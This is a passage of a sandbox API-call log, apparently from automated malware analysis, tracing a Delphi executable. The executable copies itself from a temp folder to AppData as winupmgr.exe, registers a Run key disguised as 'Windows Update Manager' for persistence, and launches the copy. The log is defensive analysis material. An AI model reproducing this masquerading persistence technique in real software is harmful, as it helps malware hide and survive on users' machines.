| out: lpBuffer="Invalid numeric input") returned 0x15 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid filename") returned 0x10 [0040.052] LoadStringA (in: hInstance=0x400000, uID=0xfff2, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="File not found") returned 0xe [0040.052] LoadStringA (in: hInstance=0x400000, uID=0xfff0, lpBuffer=0x18eef4, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0040.052] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18eef4, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0040.052] GetVersionExA (in: lpVersionInformation=0x18fe8c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18ff38, dwMinorVersion=0x77391ecd, dwBuildNumber=0x7478de, dwPlatformId=0xfffffffe, szCSDVersion="vk5w'\x0fâv\x18\x03ïv@L[") | out: lpVersionInformation=0x18fe8c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.052] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0040.052] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0040.052] GetThreadLocale () returned 0x409 [0040.052] GetSystemMetrics (nIndex=42) returned 0 [0040.103] GetThreadLocale () returned 0x409 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Jan") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fd64, cchData=256 | out: lpLCData="January") returned 8 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Feb") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fd64, cchData=256 | out: lpLCData="February") returned 9 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Mar") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fd64, cchData=256 | out: lpLCData="March") returned 6 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Apr") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fd64, cchData=256 | out: lpLCData="April") returned 6 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fd64, cchData=256 | out: lpLCData="May") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fd64, cchData=256 | out: lpLCData="May") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Jun") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fd64, cchData=256 | out: lpLCData="June") returned 5 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Jul") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fd64, cchData=256 | out: lpLCData="July") returned 5 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Aug") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fd64, cchData=256 | out: lpLCData="August") returned 7 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sep") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fd64, cchData=256 | out: lpLCData="September") returned 10 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Oct") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fd64, cchData=256 | out: lpLCData="October") returned 8 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Nov") returned 4 [0040.103] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fd64, cchData=256 | out: lpLCData="November") returned 9 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Dec") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fd64, cchData=256 | out: lpLCData="December") returned 9 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sun") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sunday") returned 7 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Mon") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Monday") returned 7 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Tue") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Tuesday") returned 8 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Wed") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Wednesday") returned 10 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Thu") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Thursday") returned 9 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Fri") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Friday") returned 7 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sat") returned 4 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Saturday") returned 9 [0040.104] GetThreadLocale () returned 0x409 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="$") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x18feb8, cchData=2 | out: lpLCData=",") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18feb8, cchData=2 | out: lpLCData=".") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="2") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18feb8, cchData=2 | out: lpLCData="/") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0040.104] GetThreadLocale () returned 0x409 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd8c, cchData=256 | out: lpLCData="1") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0040.104] GetThreadLocale () returned 0x409 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd8c, cchData=256 | out: lpLCData="1") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18feb8, cchData=2 | out: lpLCData=":") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="AM") returned 3 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="PM") returned 3 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.104] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x18feb8, cchData=2 | out: lpLCData=",") returned 2 [0040.105] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x0, nSize=0x0 | out: lpBuffer=0x0) returned 0x2e [0040.105] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x526698, nSize=0x2e | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0040.105] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe")) returned 0xffffffff [0040.105] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18fe1c, nSize=0x105 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\$tmp$001.exe")) returned 0x31 [0040.105] CopyFileA (lpExistingFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\$tmp$001.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe"), bFailIfExists=1) returned 1 [0040.111] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18fef0, lpdwDisposition=0x18fef4 | out: phkResult=0x18fef0*=0xa8, lpdwDisposition=0x18fef4*=0x2) returned 0x0 [0040.111] RegSetValueExA (in: hKey=0xa8, lpValueName="Windows Update Manager", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe", cbData=0x3b | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe") returned 0x0 [0040.112] RegCloseKey (hKey=0xa8) returned 0x0 [0040.113] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0040.433] ExitProcess (uExitCode=0x0) Thread: id = 53 os_tid = 0xbc4 Thread: id = 54 os_tid = 0xb9c Thread: id = 55 os_tid = 0x8f0 Process: id = "17" image_name = "winupmgr.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe" page_root = "0x309d5000" os_pid = "0x9b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x930" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0x81c [0040.515] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0040.516] GetKeyboardType (nTypeFlag=0) returned 4 [0040.516] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe\" " [0040.516] GetStartupInfoA (in: lpStartupInfo=0x18fee8 | out: lpStartupInfo=0x18fee8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0040.516] GetACP () returned 0x4e4 [0040.516] GetCurrentThreadId () returned 0x81c [0040.517] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18edd8, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe")) returned 0x3a [0040.517] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18ecb3, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe")) returned 0x3a [0040.520] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edc8 | out: phkResult=0x18edc8*=0x0) returned 0x2 [0040.520] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edc8 | out: phkResult=0x18edc8*=0x0) returned 0x2 [0040.520] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edc8 | out: phkResult=0x18edc8*=0x0) returned 0x2 [0040.520] lstrcpynA (in: lpString1=0x18ecb3, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" [0040.520] GetThreadLocale () returned 0x409 [0040.520] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x18edc3, cchData=5 | out: lpLCData="ENU") returned 4 [0040.521] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe") returned 58 [0040.521] lstrcpynA (in: lpString1=0x18ecea, lpString2="ENU", iMaxLength=206 | out: lpString1="ENU") returned="ENU" [0040.521] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0040.521] lstrcpynA (in: lpString1=0x18ecea, lpString2="EN", iMaxLength=206 | out: lpString1="EN") returned="EN" [0040.521] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0040.522] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1c80000 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffef, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0040.522] LoadStringA (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid filename") returned 0x10 [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff2, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="File not found") returned 0xe [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xfff0, lpBuffer=0x18eef4, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0040.523] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18eef4, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0040.523] GetVersionExA (in: lpVersionInformation=0x18fe8c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18ff38, dwMinorVersion=0x77391ecd, dwBuildNumber=0x747ac1, dwPlatformId=0xfffffffe, szCSDVersion="vk5w'\x0fâv\x18\x03ïv0L`") | out: lpVersionInformation=0x18fe8c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.523] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0040.524] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0040.524] GetThreadLocale () returned 0x409 [0040.524] GetSystemMetrics (nIndex=42) returned 0 [0040.531] GetThreadLocale () returned 0x409 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Jan") returned 4 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fd64, cchData=256 | out: lpLCData="January") returned 8 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Feb") returned 4 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fd64, cchData=256 | out: lpLCData="February") returned 9 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Mar") returned 4 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fd64, cchData=256 | out: lpLCData="March") returned 6 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Apr") returned 4 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fd64, cchData=256 | out: lpLCData="April") returned 6 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fd64, cchData=256 | out: lpLCData="May") returned 4 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fd64, cchData=256 | out: lpLCData="May") returned 4 [0040.531] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Jun") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fd64, cchData=256 | out: lpLCData="June") returned 5 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Jul") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fd64, cchData=256 | out: lpLCData="July") returned 5 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Aug") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fd64, cchData=256 | out: lpLCData="August") returned 7 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sep") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fd64, cchData=256 | out: lpLCData="September") returned 10 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Oct") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fd64, cchData=256 | out: lpLCData="October") returned 8 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Nov") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fd64, cchData=256 | out: lpLCData="November") returned 9 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Dec") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fd64, cchData=256 | out: lpLCData="December") returned 9 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sun") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sunday") returned 7 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Mon") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Monday") returned 7 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Tue") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Tuesday") returned 8 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Wed") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Wednesday") returned 10 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Thu") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Thursday") returned 9 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Fri") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Friday") returned 7 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Sat") returned 4 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fd64, cchData=256 | out: lpLCData="Saturday") returned 9 [0040.532] GetThreadLocale () returned 0x409 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="$") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, 